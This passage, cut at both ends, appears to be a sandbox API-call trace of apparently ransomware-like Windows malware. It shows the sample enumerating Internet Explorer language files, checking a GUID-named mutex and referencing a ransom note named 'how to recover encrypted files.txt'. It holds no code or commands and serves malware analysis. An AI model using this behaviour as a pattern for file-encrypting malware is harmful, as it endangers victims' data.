| out: lpMultiByteStr="ið\x18", lpUsedDefaultChar=0x0) returned 1 [0058.941] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=34, lpWideCharStr=0x18e0a4, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt\x18\x06") returned 34 [0058.941] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Internet Explorer\\en-US\\iedvtool.dll.mui", cchWideChar=57, lpMultiByteStr=0x18e080, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Internet Explorer\\en-US\\iedvtool.dll.mui", lpUsedDefaultChar=0x0) returned 57 [0058.941] CharLowerBuffW (in: lpsz=".mui", cchLength=0x4 | out: lpsz=".mui") returned 0x4 [0058.941] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".mui", cchWideChar=4, lpMultiByteStr=0x18e0a4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".mui\\iedvtool.dll.mui", lpUsedDefaultChar=0x0) returned 4 [0058.941] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18f1e4 | out: lpFindFileData=0x18f1e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x128de43b, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x12aa84e7, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x128de43b, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x800, dwReserved0=0x0, dwReserved1=0x0, cFileName="ieinstal.exe.mui", cAlternateFileName="")) returned 1 [0058.941] FileTimeToLocalFileTime (in: lpFileTime=0x18f1f8, lpLocalFileTime=0x18f104 | out: lpLocalFileTime=0x18f104) returned 1 [0058.941] FileTimeToDosDateTime (in: lpFileTime=0x18f104, lpFatDate=0x18f1c6, lpFatTime=0x18f1c4 | out: lpFatDate=0x18f1c6, lpFatTime=0x18f1c4) returned 1 [0058.941] GlobalLock (hMem=0x440004) returned 0x54f168 [0058.941] GlobalHandle (pMem=0x54f168) returned 0x440004 [0058.941] GlobalUnlock (hMem=0x440004) returned 0 [0058.942] GlobalLock (hMem=0x440004) returned 0x54f168 [0058.942] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.942] GlobalHandle (pMem=0x54f168) returned 0x440004 [0058.942] GlobalUnlock (hMem=0x440004) returned 0 [0058.942] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.942] GlobalUnlock (hMem=0x44000c) returned 0 [0058.942] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.942] CharLowerBuffW (in: lpsz="ieinstal.exe.mui", cchLength=0x10 | out: lpsz="ieinstal.exe.mui") returned 0x10 [0058.942] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ið\x18", lpUsedDefaultChar=0x0) returned 1 [0058.942] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uð\x18", lpUsedDefaultChar=0x0) returned 1 [0058.942] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mð\x18", lpUsedDefaultChar=0x0) returned 1 [0058.942] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ð\x18", lpUsedDefaultChar=0x0) returned 1 [0058.942] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eð\x18", lpUsedDefaultChar=0x0) returned 1 [0058.942] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="x", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="xð\x18", lpUsedDefaultChar=0x0) returned 1 [0058.942] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eð\x18", lpUsedDefaultChar=0x0) returned 1 [0058.942] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ð\x18", lpUsedDefaultChar=0x0) returned 1 [0058.942] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lð\x18", lpUsedDefaultChar=0x0) returned 1 [0058.942] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="að\x18", lpUsedDefaultChar=0x0) returned 1 [0058.942] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tð\x18", lpUsedDefaultChar=0x0) returned 1 [0058.942] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sð\x18", lpUsedDefaultChar=0x0) returned 1 [0058.942] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nð\x18", lpUsedDefaultChar=0x0) returned 1 [0058.942] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ið\x18", lpUsedDefaultChar=0x0) returned 1 [0058.942] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eð\x18", lpUsedDefaultChar=0x0) returned 1 [0058.942] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ið\x18", lpUsedDefaultChar=0x0) returned 1 [0058.942] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=34, lpWideCharStr=0x18e0a4, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt\x18\x06") returned 34 [0058.943] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Internet Explorer\\en-US\\ieinstal.exe.mui", cchWideChar=57, lpMultiByteStr=0x18e080, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Internet Explorer\\en-US\\ieinstal.exe.mui", lpUsedDefaultChar=0x0) returned 57 [0058.943] CharLowerBuffW (in: lpsz=".mui", cchLength=0x4 | out: lpsz=".mui") returned 0x4 [0058.943] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".mui", cchWideChar=4, lpMultiByteStr=0x18e0a4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".mui\\ieinstal.exe.mui", lpUsedDefaultChar=0x0) returned 4 [0058.943] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18f1e4 | out: lpFindFileData=0x18f1e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x128de43b, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x12aa84e7, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x128de43b, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x800, dwReserved0=0x0, dwReserved1=0x0, cFileName="ielowutil.exe.mui", cAlternateFileName="")) returned 1 [0058.943] FileTimeToLocalFileTime (in: lpFileTime=0x18f1f8, lpLocalFileTime=0x18f104 | out: lpLocalFileTime=0x18f104) returned 1 [0058.943] FileTimeToDosDateTime (in: lpFileTime=0x18f104, lpFatDate=0x18f1c6, lpFatTime=0x18f1c4 | out: lpFatDate=0x18f1c6, lpFatTime=0x18f1c4) returned 1 [0058.943] GlobalLock (hMem=0x44000c) returned 0x54f168 [0058.943] GlobalHandle (pMem=0x54f168) returned 0x44000c [0058.943] GlobalUnlock (hMem=0x44000c) returned 0 [0058.943] GlobalLock (hMem=0x44000c) returned 0x54f168 [0058.943] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.943] GlobalHandle (pMem=0x54f168) returned 0x44000c [0058.943] GlobalUnlock (hMem=0x44000c) returned 0 [0058.943] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.943] GlobalUnlock (hMem=0x440004) returned 0 [0058.943] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.943] CharLowerBuffW (in: lpsz="ielowutil.exe.mui", cchLength=0x11 | out: lpsz="ielowutil.exe.mui") returned 0x11 [0058.944] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ið\x18", lpUsedDefaultChar=0x0) returned 1 [0058.944] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uð\x18", lpUsedDefaultChar=0x0) returned 1 [0058.944] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mð\x18", lpUsedDefaultChar=0x0) returned 1 [0058.944] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ð\x18", lpUsedDefaultChar=0x0) returned 1 [0058.944] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eð\x18", lpUsedDefaultChar=0x0) returned 1 [0058.944] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="x", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="xð\x18", lpUsedDefaultChar=0x0) returned 1 [0058.944] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eð\x18", lpUsedDefaultChar=0x0) returned 1 [0058.944] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ð\x18", lpUsedDefaultChar=0x0) returned 1 [0058.944] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lð\x18", lpUsedDefaultChar=0x0) returned 1 [0058.944] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ið\x18", lpUsedDefaultChar=0x0) returned 1 [0058.944] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tð\x18", lpUsedDefaultChar=0x0) returned 1 [0058.944] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uð\x18", lpUsedDefaultChar=0x0) returned 1 [0058.944] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="w", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wð\x18", lpUsedDefaultChar=0x0) returned 1 [0058.944] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oð\x18", lpUsedDefaultChar=0x0) returned 1 [0058.944] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lð\x18", lpUsedDefaultChar=0x0) returned 1 [0058.944] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eð\x18", lpUsedDefaultChar=0x0) returned 1 [0058.944] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ið\x18", lpUsedDefaultChar=0x0) returned 1 [0058.944] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=34, lpWideCharStr=0x18e0a4, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt\x18\x06") returned 34 [0058.944] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Internet Explorer\\en-US\\ielowutil.exe.mui", cchWideChar=58, lpMultiByteStr=0x18e080, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Internet Explorer\\en-US\\ielowutil.exe.muiv", lpUsedDefaultChar=0x0) returned 58 [0058.944] CharLowerBuffW (in: lpsz=".mui", cchLength=0x4 | out: lpsz=".mui") returned 0x4 [0058.944] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".mui", cchWideChar=4, lpMultiByteStr=0x18e0a4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".mui\\ielowutil.exe.muiv", lpUsedDefaultChar=0x0) returned 4 [0058.944] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18f1e4 | out: lpFindFileData=0x18f1e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe647cb96, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xe647cb96, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0xe45e4000, ftLastWriteTime.dwHighDateTime=0x1ca042a, nFileSizeHigh=0x0, nFileSizeLow=0x1400, dwReserved0=0x0, dwReserved1=0x0, cFileName="iexplore.exe.mui", cAlternateFileName="")) returned 1 [0058.944] FileTimeToLocalFileTime (in: lpFileTime=0x18f1f8, lpLocalFileTime=0x18f104 | out: lpLocalFileTime=0x18f104) returned 1 [0058.944] FileTimeToDosDateTime (in: lpFileTime=0x18f104, lpFatDate=0x18f1c6, lpFatTime=0x18f1c4 | out: lpFatDate=0x18f1c6, lpFatTime=0x18f1c4) returned 1 [0058.945] GlobalLock (hMem=0x440004) returned 0x54f168 [0058.945] GlobalHandle (pMem=0x54f168) returned 0x440004 [0058.945] GlobalUnlock (hMem=0x440004) returned 0 [0058.945] GlobalLock (hMem=0x440004) returned 0x54f168 [0058.945] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.945] GlobalHandle (pMem=0x54f168) returned 0x440004 [0058.945] GlobalUnlock (hMem=0x440004) returned 0 [0058.945] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.945] GlobalUnlock (hMem=0x44000c) returned 0 [0058.945] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.945] CharLowerBuffW (in: lpsz="iexplore.exe.mui", cchLength=0x10 | out: lpsz="iexplore.exe.mui") returned 0x10 [0058.945] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ið\x18", lpUsedDefaultChar=0x0) returned 1 [0058.945] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uð\x18", lpUsedDefaultChar=0x0) returned 1 [0058.945] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mð\x18", lpUsedDefaultChar=0x0) returned 1 [0058.945] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ð\x18", lpUsedDefaultChar=0x0) returned 1 [0058.945] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eð\x18", lpUsedDefaultChar=0x0) returned 1 [0058.945] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="x", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="xð\x18", lpUsedDefaultChar=0x0) returned 1 [0058.945] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eð\x18", lpUsedDefaultChar=0x0) returned 1 [0058.945] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ð\x18", lpUsedDefaultChar=0x0) returned 1 [0058.945] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eð\x18", lpUsedDefaultChar=0x0) returned 1 [0058.945] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rð\x18", lpUsedDefaultChar=0x0) returned 1 [0058.945] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oð\x18", lpUsedDefaultChar=0x0) returned 1 [0058.945] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lð\x18", lpUsedDefaultChar=0x0) returned 1 [0058.945] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pð\x18", lpUsedDefaultChar=0x0) returned 1 [0058.946] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="x", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="xð\x18", lpUsedDefaultChar=0x0) returned 1 [0058.946] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eð\x18", lpUsedDefaultChar=0x0) returned 1 [0058.946] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ið\x18", lpUsedDefaultChar=0x0) returned 1 [0058.946] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=34, lpWideCharStr=0x18e0a4, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt\x18\x06") returned 34 [0058.946] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Internet Explorer\\en-US\\iexplore.exe.mui", cchWideChar=57, lpMultiByteStr=0x18e080, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Internet Explorer\\en-US\\iexplore.exe.mui", lpUsedDefaultChar=0x0) returned 57 [0058.946] CharLowerBuffW (in: lpsz=".mui", cchLength=0x4 | out: lpsz=".mui") returned 0x4 [0058.946] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".mui", cchWideChar=4, lpMultiByteStr=0x18e0a4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".mui\\iexplore.exe.mui", lpUsedDefaultChar=0x0) returned 4 [0058.946] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18f1e4 | out: lpFindFileData=0x18f1e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x128b8182, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x12aa84e7, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x128b8182, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="jsdbgui.dll.mui", cAlternateFileName="")) returned 1 [0058.946] FileTimeToLocalFileTime (in: lpFileTime=0x18f1f8, lpLocalFileTime=0x18f104 | out: lpLocalFileTime=0x18f104) returned 1 [0058.946] FileTimeToDosDateTime (in: lpFileTime=0x18f104, lpFatDate=0x18f1c6, lpFatTime=0x18f1c4 | out: lpFatDate=0x18f1c6, lpFatTime=0x18f1c4) returned 1 [0058.946] GlobalLock (hMem=0x44000c) returned 0x54f168 [0058.946] GlobalHandle (pMem=0x54f168) returned 0x44000c [0058.946] GlobalUnlock (hMem=0x44000c) returned 0 [0058.946] GlobalLock (hMem=0x44000c) returned 0x54f168 [0058.946] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.946] GlobalHandle (pMem=0x54f168) returned 0x44000c [0058.946] GlobalUnlock (hMem=0x44000c) returned 0 [0058.946] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.946] GlobalUnlock (hMem=0x440004) returned 0 [0058.946] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.947] CharLowerBuffW (in: lpsz="jsdbgui.dll.mui", cchLength=0xf | out: lpsz="jsdbgui.dll.mui") returned 0xf [0058.947] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ið\x18", lpUsedDefaultChar=0x0) returned 1 [0058.947] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uð\x18", lpUsedDefaultChar=0x0) returned 1 [0058.947] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mð\x18", lpUsedDefaultChar=0x0) returned 1 [0058.947] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ð\x18", lpUsedDefaultChar=0x0) returned 1 [0058.947] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lð\x18", lpUsedDefaultChar=0x0) returned 1 [0058.947] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lð\x18", lpUsedDefaultChar=0x0) returned 1 [0058.947] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dð\x18", lpUsedDefaultChar=0x0) returned 1 [0058.947] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, 